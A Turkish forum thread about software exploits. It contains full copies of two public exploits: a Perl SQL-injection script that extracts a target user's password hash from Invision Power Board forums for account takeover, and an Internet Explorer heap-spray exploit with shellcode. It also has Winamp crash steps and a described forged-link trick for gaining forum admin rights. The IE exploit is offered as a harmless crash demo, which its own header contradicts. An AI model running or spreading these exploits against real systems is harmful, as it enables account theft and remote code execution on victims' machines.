|
||
| Exploit Nedir? Bu ay en son virüs açıklamalarının yanı sıra biraz da “exploit” açıklayabileceğimi düşündüm. Sistemin ve bazı programların açıklarını kötüye kullanmaya “exploit” deniliyor. Gerek Unix, gerekse Windows birçok açık içerir. Exploit’ler ile sistem şifreleri görülebilir, sistemler hakkında bilgiler elde edilir; hatta ICQ exploit’leri yüzünden siz istemeseniz de karşı taraf IP adresinizi görebilir ve sizi listesine izin istemeksizin (Request göndermeden) alabilir. Çeşitli programlar ile bunlar artık o kadar kolay ki! Şimdi sıra bazı exploit’lerin açıklamalarında; arkasından da tabi ki diğer virüslerimiz gelecek. Yalnız sistemlere zarar verebilecek exploit’leri burada açıklamam mümkün olmadığı için, bulabildiğim en “zayıf” exploitleri yazdım. Winamp M3u Playlist Taşması Bilindiği gibi M3U’lar “Playlist” dosyalarıdır. Bunları bir yazı programında (örn. Notepad) görüntülediğimizde M3U dosyalarının karmaşık olmayan, çok basit bir sistem içerdiklerini anlarız. İşte bizde bir M3U dosyasının içine birkaç karakter ekleyeceğiz ve Winamp’ı çökerteceğiz! Bu program açığı tehlikeli olmadığı için kendi sistemimizde çekinmeden deneyebiliriz. Beynimizdeki “Yapmak istediğine emin misin?” mesaj kutusuna “Tamam” tuşuna basarak yanıt verelim ve hemen başlayalım. İster sıfırdan bir M3U dosyası yaratabilir, ister var olan bir dosyaya ekleme yapabiliriz seçim size kalmış. Ben sıfırdan yaratmayı seçiyorum. Öncelikle bir “Not Defteri” (Notepad) dokümanı yaratalım. İçerik olarak fazla bir şey eklemeyeceğiz, sadece “#EXTM3U #EXTINF: ” yazacağız böyle alt alta ve #EXTINF: yazısının hemen yanına en az 250 tane aynı karakterden yazacağız. Ancak önemli nokta asla alt satıra geçmemek, yani tüm karakterleri yan yana yazacağız. Ben “A” tuşuna canım sıkılana kadar bastım, oldu. Metnimizi hazırladıktan sonra sıra geldi kaydetmeye. Bunun için Dosya mönüsünden “Farklı Kaydet”i (Save As) seçeceğiz ve dosya ismi soyadı, yani dosya biçimi olarak “M3U” kullanacağız ve alt taraftaki Metin Dosyası yerine Tüm Dosyalar’ı seçeceğiz. Kaydettikten sonra M3U dosyamızı çalıştırdığımızda bir de ne görelim, Winamp çökmüş! Not: Bu çökme olayı sadece Winamp’da oluyor. Microsoft Media Player üstte yazdıklarımızdan etkilenmiyor.
|
||
|
||
| Forum Hack Bunun kullanımını anlatmayacam, kullanmasını bilen kullanır zaten.. her forumu da bu exploitle çökertmek mümkün değil... Çünkü bu exploit (açık) Invision Power Board <= 2.1.5 (from_contact) SQL Injection Exploit, için geçerli olan bir açıktır... #!/usr/bin/perl ############################################################################# ## IPB <=2.1.4 exploit (possibly 2.1.5 too) ## ## Brought to you by the Ykstortion security team. ## ## ## ## The bug is in the pm system so you must have a registered user. ## ## The exploit will extract a password hash from the forum's data base of ## ## the target user. ## ## You need to know the target user's member ID but it's not difficult to ## ## find out, just look under their avatar next to one of their posts. ## ## Once you have the hash, simply unset all forum cookies and set ## ## member_id to the target user's member id and pass_hash to the hash ## ## obtained from the database by this script. ## ## ## ## Usage: ## ## $ ./ipb ## ## IPB Forum URL ? forums.example.com/forums ## ## Your username ? krypt_sk1dd13 ## ## Your pass ? if_your_on_nix_this_gets_hidden ## ## Target userid ? 3637 ## ## ## ## Attempting to extract password hash from database... ## ## 537ab2d5b37ac3a3632f5d06e8e04368 ## ## Hit enter to quit. ## ## ## ## Requirements: ## ## o Perl 5 ## ## o LWP 5.64 or later ## ## o Internet access ## ## o A forum you hate/dislike ## ## o A user on said forum ## ## o 32+ PMs left till your inbox is full, if not you can still delete ## ## PMs from your inbox as the successful ones come through ## ## ## ## Credit to: Nuticulus for finding the SQL injection ## ## ## ## Have fun, you dumb skiddie. ## ############################################################################# use HTTP::Cookies; use LWP 5.64; use HTTP::Request; # variables my $login_page = '?act=Login&CODE=01'; my $pm_page = '?act=Msg&CODE=04'; my $pose_pm_page = '?'; my $tries = 5; my $sql = ''; my $hash = ''; my $need_null = 0; my $i; my $j; my @charset = ('0' .. '9', 'a' .. 'f'); my %form = (act => 'Msg', CODE => '04', MODE => '01', OID => '', removeattachid => '', msg_title => 'asdf', bbmode => 'normal', ffont => 0, fsize => 0, fcolor => 0, LIST => ' LIST ', helpbox => 'Insert Monotype Text (alt + p)', tagcount => 0, Post => 'jkl'); # objects my $ua = LWP::UserAgent->new; my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0); my $resp; # init the cookie jar $ua->cookie_jar ($cj); # allow redirects on post requests push @{ $ua->requests_redirectable }, "POST"; # get user input print 'IPB Forum URL ? '; chomp (my $base_url = <STDIN>); print 'Your username ? '; chomp (my $user = <STDIN>); $form{entered_name} = $user; print 'Your pass ? '; # systems without stty will error otherwise my $stty = -x '/bin/stty'; system 'stty -echo' if $stty; # to turn off echoing chomp (my $pass = <STDIN>); system 'stty echo' if $stty; # to turn it back on print "\n" if $stty; print 'Target userid ? '; # it'll say next to one of their posts chomp (my $tid = <STDIN>); # parse the given base url if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url } if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' } do { $resp = $ua->post ($base_url . $login_page, [ UserName => $user, PassWord => $pass, CookieDate => 1, ]); } while ($tries-- && !$resp->is_success()); # reset tries $tries = 5; # did we get 200 (OK) ? if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" } # was the pass right ? if ($resp->content =~ /sorry, the password was wrong/i) { die "Error: password incorrect.\n"; } # get ourselves a post_key (and an auth_key too with newer versions) do { $resp = $ua->get ($base_url . $pm_page); } while ($tries-- && !$resp->is_success()); # reset tries $tries = 5; if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" } if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?post_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+?/>#) { $form{post_key} = $1; } else { die "Error: couldn't get a post key.\n"; } if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?auth_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+/>#) { $form{auth_key} = $1; } # turn off buffering so chars in the hash show up straight away $| = 1; print "\nAttempting to extract password hash from database...\n "; OFFSET: for ($i = 0; $i < 32; ++$i) { CHAR: for ($j = 0; $j < @charset; ++$j) { # reset tries $tries = 5; print "\x08", $charset[$j]; # build sql injection $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR(' . (join (',', map {ord} split ('', $user))) . ') FROM ' . 'ibf_members WHERE id = ' . $tid . ' AND MID(' . 'member_login_key, ' . ($i + 1) . ', 1) = CHAR(' . ord ($charset[$j]) . ')'; $form{from_contact} = $sql; $resp = $ua->post ($base_url . $post_pm_page, \%form, referer => $base_url . $pm_page); if (!$resp->is_success()) { die "\nError: " . $resp->status_line . "\n" if (!$tries); --$tries; redo; } if ($resp->content =~ /sql error/i) { if ($need_null) { die "Error: SQL error.\n"; } else { $need_null = 1; redo OFFSET; } } elsif ($resp->content !~ /there is no such member/i) { # we have a winner ! print ' '; next OFFSET; } } # uh oh, something went wrong die "\nError: couldn't get a char for offset $i\n"; } print "\x08 \x08\nHit enter to quit.\n"; <STDIN>; # milw0rm.com [2006-05-01] |
||
|
||
| İnternet Explorer ınızı Çökertin aşağıdaki kodları not defterinize yapıştırın, ve farklı kaydet diyerek uzantısı .html olacak şekilde kayit edin.. sonra bu oluşturduğunuz dosyanın üstüne tıklayın ve görün.. bilgisayarınıza restrat atmanız gerekecek, herhangi bir zarar gelmeyecektir.. <!-- -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ /\ \/ Internet Explorer Remote Code Execution Exploit v 0.1 /\ by Darkeagle of Unl0ck Research Team \/ /\ used SkyLined idea of exploitation. special tnx goes to him. \/ Affected Software : Microsoft Internet Explorer 6.x, IE7 Beta 2 Severity : Critical Impact : Remote System Access Solution Status : ** UNPATCHED ** Discovered by : Computer Terrorism (UK) Advisory Date : 22nd March, 2006 Tested : WinXP SP2 RUS IE 6.0 (full patched) Vulnerability details: PoC from CyberTerrorists crashes IE and overwrites EIP. EIP points to unknown place. In my case it points to 0x3c0474c2. Exploit fills heap with "nops+shellcode" 'til 0x3CxxXXxx. Then IE trys to read memory @ 0x3c0474c2. At this time 0x3c0474c2 contains nops+shellcode. In the end IE executes shellcode. Exploit needs more RAM. Tested under 192mb RAM with 800mb of maximum page cache. Under 512mb code was executed after 1-1.5 minutes. Successfull exploitation will execute standart windows calculator. Greets: Unl0ck Researchers, 0x557 guys, ph4nt0m guys, sh0k, uf0, BlackSecurity guys, many otherz. /\ http://unl0ck.net \/ /\ (c) 2004 - 2006 \/ -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ --> <input type="checkbox" id="blah"> <SCRIPT language="javascript"> shellcode = unescape( "%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); bigblock = unescape("%u9090%u9090"); slackspace = 20 + shellcode.length while (bigblock.length < slackspace) bigblock += bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length + slackspace < 0x40000) block = block + block + fillblock; memory = new Array(); for ( i = 0; i < 2020; i++ ) memory = block + shellcode; var r = document.getElementById('blah').createTextRange(); </script> # milw0rm.com [2006-03-23] |
||
|
||
| zerdusht cummm ben bu exploit i autocad den hatırlıyorummmm aynı seyden mı bahsedıyoruz yoksammmmmmmmmmmm optımum saygılarrr |
||
|
||
| Bu programlar dediğiniz gibi açık bulmak... Ama "açık derken" ne dmeek istiyor bunu iyi analiz etmek lazım... Mesela sıfırın sahibi birini admin yapmak isityor... Admin yapmak için Üyenin profiline girip üye grupları seçeneğinden Admin diye ayarlar... Buraya kadar bildiklerimiz sıradan basit şeyler... Ama site sahibi birini admin yaparken browserde www.sifirforum.com/forum/index.php?action=xxxxxxxxxxxxxxxxxxxxxxxxxxxx gibi şeyler yazar... ve xxxx lerin içinde üyenin hangi moderatör grubuna (biz admin sdedik) ve üyenin kayıt numarası yazar... Böylece admin ataması yapılır... Şimdi bu açık mı hayır? Eğer açık olsaydı ben linki kendim yazar bir resimni arkasına koyar sıfırın adminine "tıkla bakim neler görcen" derim. O da tıklar admin olurum ve niyetim kötüyse geçici bir rahatsızlık yaratırım... Exploit de işte sana bunları veriyor... Ama her zaman işe yaramıyor... Sadece sürümünü yenilemeyen açıklarını kapatmayan eski forumlarda bunları yapabilirsin... Yukarıda bahsettiğim örneği de sıfır forum veya Smf de uygulayamazsınız.. Adamlar bu açığı kapamış...
|
||